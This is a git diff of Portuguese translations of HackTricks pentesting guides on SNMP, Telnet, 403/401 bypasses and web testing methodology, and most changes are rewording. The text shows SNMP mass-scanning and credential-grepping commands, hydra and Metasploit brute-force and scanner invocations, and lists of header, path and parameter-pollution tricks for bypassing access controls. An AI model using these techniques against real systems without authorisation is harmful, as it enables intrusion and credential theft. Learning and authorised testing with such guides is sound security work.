-Uma série de valores da **Base de Informações de Gestão (MIB)** são utilizados para monitorizar vários aspetos de um sistema Windows através do SNMP:
+Uma série de valores da **Base de Informações de Gerenciamento (MIB)** são utilizados para monitorar vários aspectos de um sistema Windows por meio do SNMP:
-* **Processos do Sistema**: Acessado via `1.3.6.1.2.1.25.1.6.0`, este parâmetro permite a monitorização de processos ativos dentro do sistema.
+* **Processos do Sistema**: Acessado via `1.3.6.1.2.1.25.1.6.0`, esse parâmetro permite o monitoramento de processos ativos dentro do sistema.
* **Programas em Execução**: O valor `1.3.6.1.2.1.25.4.2.1.2` é designado para rastrear programas em execução atualmente.
-* **Caminho dos Processos**: Para determinar de onde um processo está sendo executado, o valor MIB `1.3.6.1.2.1.25.4.2.1.4` é utilizado.
-* **Unidades de Armazenamento**: A monitorização de unidades de armazenamento é facilitada por `1.3.6.1.2.1.25.2.3.1.4`.
+* **Caminho dos Processos**: Para determinar de onde um processo está sendo executado, o valor MIB `1.3.6.1.2.1.25.4.2.1.4` é usado.
+* **Unidades de Armazenamento**: O monitoramento de unidades de armazenamento é facilitado por `1.3.6.1.2.1.25.2.3.1.4`.
* **Nome do Software**: Para identificar o software instalado em um sistema, é empregado `1.3.6.1.2.1.25.6.3.1.2`.
* **Contas de Usuário**: O valor `1.3.6.1.4.1.77.1.2.25` permite o rastreamento de contas de usuário.
-* **Portas Locais TCP**: Por fim, `1.3.6.1.2.1.6.13.1.3` é designado para monitorar portas locais TCP, fornecendo insights sobre conexões de rede ativas.
+* **Portas Locais TCP**: Por fim, `1.3.6.1.2.1.6.13.1.3` é designado para monitorar portas locais TCP, fornecendo informações sobre conexões de rede ativas.
### Cisco
-Dê uma olhada nesta página se você tem equipamentos Cisco:
+Dê uma olhada nesta página se você possui equipamentos Cisco:
{% content-ref url="cisco-snmp.md" %}
[cisco-snmp.md](cisco-snmp.md)
@@ -190,7 +190,7 @@ Se você tiver a **cadeia** que permite **escrever valores** dentro do serviço
## **SNMP Massivo**
-[Braa ](https://github.com/mteg/braa)é um scanner SNMP em massa. O uso pretendido de tal ferramenta é, é claro, fazer consultas SNMP - mas ao contrário do snmpwalk do net-snmp, é capaz de consultar dezenas ou centenas de hosts simultaneamente e em um único processo. Assim, consome muito poucos recursos do sistema e faz a varredura MUITO rapidamente.
+[Braa ](https://github.com/mteg/braa)é um scanner SNMP em massa. O uso pretendido de tal ferramenta é, é claro, fazer consultas SNMP - mas ao contrário do snmpwalk do net-snmp, ele é capaz de consultar dezenas ou centenas de hosts simultaneamente e em um único processo. Assim, consome muito poucos recursos do sistema e faz a varredura MUITO rapidamente.
Braa implementa sua PRÓPRIA pilha SNMP, portanto, NÃO precisa de bibliotecas SNMP como net-snmp.
@@ -198,7 +198,7 @@ Braa implementa sua PRÓPRIA pilha SNMP, portanto, NÃO precisa de bibliotecas S
```bash
braa ignite123@192.168.1.125:.1.3.6.*
```
-Isso pode extrair muitos MB de informações que você não pode processar manualmente.
+Isto pode extrair muitos MB de informações que você não pode processar manualmente.
Então, vamos procurar as informações mais interessantes (de [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
@@ -214,15 +214,15 @@ Um passo crucial envolve identificar a **string de comunidade privada** usada po
```bash
grep -i "trap" *.snmp
```
-### **Nomes de Usuário/Senhas**
+### **Nomes de Usuários/Senhas**
-Registros armazenados dentro das tabelas MIB são examinados em busca de **tentativas de login falhadas**, que podem incluir acidentalmente senhas inseridas como nomes de usuário. Palavras-chave como _fail_, _failed_ ou _login_ são pesquisadas para encontrar dados valiosos:
+Registros armazenados em tabelas MIB são examinados em busca de **tentativas de login malsucedidas**, que podem incluir acidentalmente senhas inseridas como nomes de usuários. Palavras-chave como _fail_, _failed_ ou _login_ são pesquisadas para encontrar dados valiosos:
```bash
grep -i "login\|fail" *.snmp
```
### **Emails**
-Finalmente, para extrair **endereços de e-mail** dos dados, é utilizado um comando **grep** com uma expressão regular, focando em padrões que correspondem a formatos de e-mail:
+Por fim, para extrair **endereços de email** dos dados, é utilizado um comando **grep** com uma expressão regular, focando em padrões que correspondem a formatos de email:
```bash
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
@@ -232,7 +232,7 @@ Você pode usar o _**NetScanTools**_ para **modificar valores**. Você precisar
## Spoofing
-Se houver uma ACL que permite apenas alguns IPs consultar o serviço SMNP, você pode falsificar um desses endereços dentro do pacote UDP e capturar o tráfego.
+Se houver uma ACL que permita apenas alguns IPs a consultar o serviço SMNP, você pode falsificar um desses endereços dentro do pacote UDP e capturar o tráfego.
## Examinar arquivos de configuração SNMP
@@ -240,7 +240,7 @@ Se houver uma ACL que permite apenas alguns IPs consultar o serviço SMNP, você
* snmpd.conf
* snmp-config.xml
-
+
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
@@ -288,7 +288,7 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
Outras maneiras de apoiar o HackTricks:
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
diff --git a/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/network-services-pentesting/pentesting-snmp/cisco-snmp.md
index d8f15dd93..04cad54ec 100644
--- a/network-services-pentesting/pentesting-snmp/cisco-snmp.md
+++ b/network-services-pentesting/pentesting-snmp/cisco-snmp.md
@@ -7,12 +7,12 @@
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-
+
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
@@ -49,7 +49,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
-
+
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
diff --git a/network-services-pentesting/pentesting-telnet.md b/network-services-pentesting/pentesting-telnet.md
index 908ab64d3..583208f7d 100644
--- a/network-services-pentesting/pentesting-telnet.md
+++ b/network-services-pentesting/pentesting-telnet.md
@@ -7,22 +7,22 @@
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
-
+
-**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
+**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
{% embed url="https://pentest-tools.com/" %}
## **Informações Básicas**
-Telnet é um protocolo de rede que oferece aos usuários uma maneira NÃO segura de acessar um computador por meio de uma rede.
+Telnet é um protocolo de rede que oferece aos usuários uma maneira NÃO segura de acessar um computador em uma rede.
**Porta padrão:** 23
```
@@ -40,9 +40,9 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23
```
O script `telnet-ntlm-info.nse` irá obter informações NTLM (versões do Windows).
-Do [RFC do telnet](https://datatracker.ietf.org/doc/html/rfc854): No Protocolo TELNET existem várias "**opções**" que serão sancionadas e podem ser usadas com a estrutura "**DO, DON'T, WILL, WON'T**" para permitir que um usuário e um servidor concordem em usar um conjunto de convenções mais elaborado (ou talvez apenas diferente) para sua conexão TELNET. Tais opções poderiam incluir a alteração do conjunto de caracteres, o modo de eco, etc.
+A partir do [RFC do telnet](https://datatracker.ietf.org/doc/html/rfc854): No Protocolo TELNET existem várias "**opções**" que serão sancionadas e podem ser usadas com a estrutura "**DO, DON'T, WILL, WON'T**" para permitir que um usuário e um servidor concordem em usar um conjunto de convenções mais elaborado (ou talvez apenas diferente) para sua conexão TELNET. Tais opções poderiam incluir a alteração do conjunto de caracteres, o modo de eco, etc.
-**Eu sei que é possível enumerar essas opções, mas não sei como, então me avise se souber como fazer.**
+**Eu sei que é possível enumerar essas opções, mas não sei como, então me avise se souber como.**
### [Força bruta](../generic-methodologies-and-resources/brute-force.md#telnet)
@@ -84,7 +84,7 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
```
-
+
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
diff --git a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
index 8d1190253..aa99cfccb 100644
--- a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
+++ b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
@@ -2,7 +2,7 @@
-Aprenda hacking na AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
+Aprenda hacking AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
@@ -10,13 +10,13 @@ Outras maneiras de apoiar o HackTricks:
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe seus truques de hacking enviando PRs para** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
+
-**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
+**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até o relatório. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
{% embed url="https://pentest-tools.com/" %}
@@ -32,7 +32,7 @@ Tente usar **diferentes verbos** para acessar o arquivo: `GET, HEAD, POST, PUT,
* **Alterar o cabeçalho Host** para algum valor arbitrário ([que funcionou aqui](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
* Tente [**usar outros Agentes de Usuário**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) para acessar o recurso.
-* **Fuzz de Cabeçalhos HTTP**: Tente usar **Cabeçalhos** de Proxy HTTP, Autenticação HTTP Básica e força bruta NTLM (com apenas algumas combinações) e outras técnicas. Para fazer tudo isso, criei a ferramenta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
+* **Fuzz de Cabeçalhos HTTP**: Tente usar **Cabeçalhos de Proxy HTTP**, Autenticação HTTP Básica e força bruta NTLM (com apenas algumas combinações) e outras técnicas. Para fazer tudo isso, criei a ferramenta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
* `X-Originating-IP: 127.0.0.1`
* `X-Forwarded-For: 127.0.0.1`
@@ -48,52 +48,52 @@ Tente usar **diferentes verbos** para acessar o arquivo: `GET, HEAD, POST, PUT,
* `X-ProxyUser-Ip: 127.0.0.1`
* `Host: localhost`
-Se o **caminho estiver protegido**, você pode tentar contornar a proteção do caminho usando esses outros cabeçalhos:
+Se o **caminho estiver protegido**, você pode tentar ignorar a proteção do caminho usando esses outros cabeçalhos:
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
* Se a página estiver **atrás de um proxy**, talvez seja o proxy que esteja impedindo você de acessar as informações privadas. Tente abusar de [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **ou** [**cabeçalhos hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
* Fuzz de [**cabeçalhos HTTP especiais**](special-http-headers.md) procurando por respostas diferentes.
-* **Fuzz de cabeçalhos HTTP especiais** enquanto faz fuzzing de **Métodos HTTP**.
-* **Remova o cabeçalho Host** e talvez consiga contornar a proteção.
+* **Fuzz de cabeçalhos HTTP especiais** enquanto faz o fuzzing de **Métodos HTTP**.
+* **Remova o cabeçalho Host** e talvez consiga ignorar a proteção.
## Fuzzing de Caminho
Se _/caminho_ estiver bloqueado:
-* Tente usar _**/**_**%2e/caminho \_(se o acesso estiver bloqueado por um proxy, isso poderia contornar a proteção). Tente também**\_\*\* /%252e\*\*/caminho (codificação de URL dupla)
-* Tente **bypass Unicode**: _/**%ef%bc%8f**caminho_ (Os caracteres codificados em URL são como "/") então, quando decodificados novamente, será _//caminho_ e talvez você já tenha contornado a verificação de nome _/caminho_
+* Tente usar _**/**_**%2e/caminho \_(se o acesso for bloqueado por um proxy, isso pode ignorar a proteção). Tente também**\_\*\* /%252e\*\*/caminho (codificação de URL dupla)
+* Tente **ignorar Unicode**: _/**%ef%bc%8f**caminho_ (Os caracteres codificados em URL são como "/") então, quando decodificados novamente, será _//caminho_ e talvez você já tenha ignorado a verificação de nome _/caminho_
* **Outros bypasses de caminho**:
-* site.com/secreto –> HTTP 403 Proibido
-* site.com/SECRETO –> HTTP 200 OK
-* site.com/secreto/ –> HTTP 200 OK
-* site.com/secreto/. –> HTTP 200 OK
-* site.com//secreto// –> HTTP 200 OK
-* site.com/./secreto/.. –> HTTP 200 OK
-* site.com/;/secreto –> HTTP 200 OK
-* site.com/.;/secreto –> HTTP 200 OK
-* site.com//;//secreto –> HTTP 200 OK
-* site.com/secreto.json –> HTTP 200 OK (ruby)
+* site.com/secret –> HTTP 403 Proibido
+* site.com/SECRET –> HTTP 200 OK
+* site.com/secret/ –> HTTP 200 OK
+* site.com/secret/. –> HTTP 200 OK
+* site.com//secret// –> HTTP 200 OK
+* site.com/./secret/.. –> HTTP 200 OK
+* site.com/;/secret –> HTTP 200 OK
+* site.com/.;/secret –> HTTP 200 OK
+* site.com//;//secret –> HTTP 200 OK
+* site.com/secret.json –> HTTP 200 OK (ruby)
* Use toda [**esta lista**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) nas seguintes situações:
-* /FUZZsecreto
-* /FUZZ/secreto
-* /secretoFUZZ
+* /FUZZsecret
+* /FUZZ/secret
+* /secretFUZZ
* **Outros bypasses de API:**
-* /v3/dados_usuários/1234 --> 403 Proibido
-* /v1/dados_usuários/1234 --> 200 OK
+* /v3/users\_data/1234 --> 403 Proibido
+* /v1/users\_data/1234 --> 200 OK
* {“id”:111} --> 401 Não autorizado
* {“id”:\[111]} --> 200 OK
* {“id”:111} --> 401 Não autorizado
* {“id”:{“id”:111\}} --> 200 OK
-* {"user_id":"\","user_id":"\"} (Poluição de Parâmetros JSON)
-* user_id=ID_DO_ATACANTE\&user_id=ID_DA_VÍTIMA (Poluição de Parâmetros)
+* {"user\_id":"\","user\_id":"\"} (Poluição de Parâmetros JSON)
+* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Poluição de Parâmetros)
## **Manipulação de Parâmetros**
* Alterar o **valor do parâmetro**: De **`id=123` --> `id=124`**
* Adicionar parâmetros adicionais à URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
* Remover os parâmetros
* Reordenar os parâmetros
-* Usar caracteres especiais.
+* Utilizar caracteres especiais.
* Realizar testes de limite nos parâmetros — fornecer valores como _-234_ ou _0_ ou _99999999_ (apenas alguns valores de exemplo).
## **Versão do Protocolo**
@@ -103,7 +103,7 @@ Se estiver usando HTTP/1.1, **tente usar 1.0** ou até mesmo teste se **suporta
## **Outras Formas de Bypass**
* Obter o **IP** ou **CNAME** do domínio e tentar **contatá-lo diretamente**.
-* Tente **sobrecarregar o servidor** enviando solicitações GET comuns ([Funcionou para este cara com o Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
+* Tente **sobrecarregar o servidor** enviando solicitações GET comuns ([Funcionou para este indivíduo com o Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
* **Alterar o protocolo**: de http para https, ou de https para http
* Acesse [**https://archive.org/web/**](https://archive.org/web/) e verifique se no passado esse arquivo estava **acessível mundialmente**.
@@ -133,7 +133,7 @@ guest guest
* [Extensão Burp - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
* [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
-
+
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
@@ -141,7 +141,7 @@ guest guest
-Aprenda hacking na AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
+Aprenda hacking na AWS de zero a herói comhtARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
@@ -149,6 +149,6 @@ Outras maneiras de apoiar o HackTricks:
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/network-services-pentesting/pentesting-web/README.md b/network-services-pentesting/pentesting-web/README.md
index 77959107b..904ea6a04 100644
--- a/network-services-pentesting/pentesting-web/README.md
+++ b/network-services-pentesting/pentesting-web/README.md
@@ -6,15 +6,15 @@
Outras maneiras de apoiar o HackTricks:
-* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
-
+
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
@@ -45,16 +45,16 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
> Nesta metodologia, vamos supor que você está atacando um domínio (ou subdomínio) e apenas isso. Portanto, você deve aplicar esta metodologia a cada domínio, subdomínio ou IP descoberto com um servidor web indeterminado dentro do escopo.
-* [ ] Comece por **identificar** as **tecnologias** usadas pelo servidor web. Procure por **tricks** para lembrar durante o resto do teste se conseguir identificar com sucesso a tecnologia.
+* [ ] Comece por **identificar** as **tecnologias** usadas pelo servidor web. Procure por **tricks** para ter em mente durante o resto do teste se conseguir identificar com sucesso a tecnologia.
* [ ] Alguma **vulnerabilidade conhecida** da versão da tecnologia?
* [ ] Usando alguma **tecnologia bem conhecida**? Algum **truque útil** para extrair mais informações?
* [ ] Algum **scanner especializado** para executar (como wpscan)?
-* [ ] Inicie os **scanners de propósitos gerais**. Nunca se sabe se eles vão encontrar algo ou se vão encontrar alguma informação interessante.
+* [ ] Inicie os **scanners de propósitos gerais**. Você nunca sabe se eles vão encontrar algo ou se vão encontrar alguma informação interessante.
* [ ] Comece com as **verificações iniciais**: **robots**, **sitemap**, erro **404** e **verificação SSL/TLS** (se HTTPS).
* [ ] Inicie o **spidering** da página web: É hora de **encontrar** todos os **arquivos, pastas** e **parâmetros possíveis** sendo usados. Além disso, verifique **descobertas especiais**.
* [ ] _Observe que sempre que um novo diretório é descoberto durante brute-forcing ou spidering, ele deve ser spidered._
* [ ] **Brute-Forcing de Diretórios**: Tente forçar bruta todos os diretórios descobertos procurando novos **arquivos** e **diretórios**.
-* [ ] _Observe que sempre que um novo diretório é descoberto durante brute-forcing ou spidering, ele deve ser Brute-Forced._
+* [ ] _Observe que sempre que um novo diretório é descoberto durante brute-forcing ou spidering, ele deve ser forçado bruta._
* [ ] **Verificação de Backups**: Teste se consegue encontrar **backups** dos **arquivos descobertos** anexando extensões de backup comuns.
* [ ] **Brute-Force de Parâmetros**: Tente **encontrar parâmetros ocultos**.
* [ ] Depois de ter **identificado** todos os **endpoints possíveis** que aceitam **entrada do usuário**, verifique todos os tipos de **vulnerabilidades** relacionadas a isso.
@@ -64,7 +64,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
### Identificar
-Verifique se existem **vulnerabilidades conhecidas** para a **versão do servidor** que está em execução.\
+Verifique se existem **vulnerabilidades conhecidas** para a versão do servidor que está em execução.\
Os **cabeçalhos HTTP e cookies da resposta** podem ser muito úteis para **identificar** as **tecnologias** e/ou **versão** sendo usadas. A varredura **Nmap** pode identificar a versão do servidor, mas também podem ser úteis as ferramentas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 #Stealthy
@@ -89,12 +89,12 @@ Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologi
* [**Artifactory**](artifactory-hacking-guide.md)
* [**Buckets**](buckets/)
* [**CGI**](cgi.md)
-* [**Drupal**](drupal.md)
+* [**Drupal**](drupal/)
* [**Flask**](flask.md)
* [**Git**](git.md)
* [**Golang**](golang.md)
* [**GraphQL**](graphql.md)
-* [**H2 - Banco de dados SQL Java**](h2-java-sql-database.md)
+* [**H2 - Banco de dados Java SQL**](h2-java-sql-database.md)
* [**Truques do IIS**](iis-internet-information-services.md)
* [**JBOSS**](jboss.md)
* [**Jenkins**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md)
@@ -123,7 +123,7 @@ Se a aplicação web estiver usando alguma **tecnologia/plataforma conhecida lis
Se o **código fonte** da aplicação estiver disponível no **github**, além de realizar um **teste White box** da aplicação por conta própria, há **algumas informações** que podem ser **úteis** para o atual **teste Black-Box**:
-* Existe um arquivo de **Change-log ou Readme ou Version** ou qualquer coisa com **informações de versão acessíveis** via web?
+* Existe um arquivo de **Change-log ou Readme ou Versão** ou qualquer coisa com **informações de versão acessíveis** via web?
* Como e onde estão salvadas as **credenciais**? Existe algum arquivo (acessível?) com credenciais (nomes de usuário ou senhas)?
* As **senhas** estão em **texto simples**, **criptografadas** ou qual algoritmo de **hashing** é usado?
* Está usando alguma **chave mestra** para criptografar algo? Qual **algoritmo** é usado?
@@ -152,11 +152,11 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
Se um CMS for usado, não se esqueça de **executar um scanner**, talvez algo interessante seja encontrado:
-- [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
-- [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** websites para problemas de segurança. (GUI)\
-- [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
-- **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **ou** [**(M)oodle**](moodle.md)\
-- [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
+[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** websites para problemas de segurança. (GUI)\
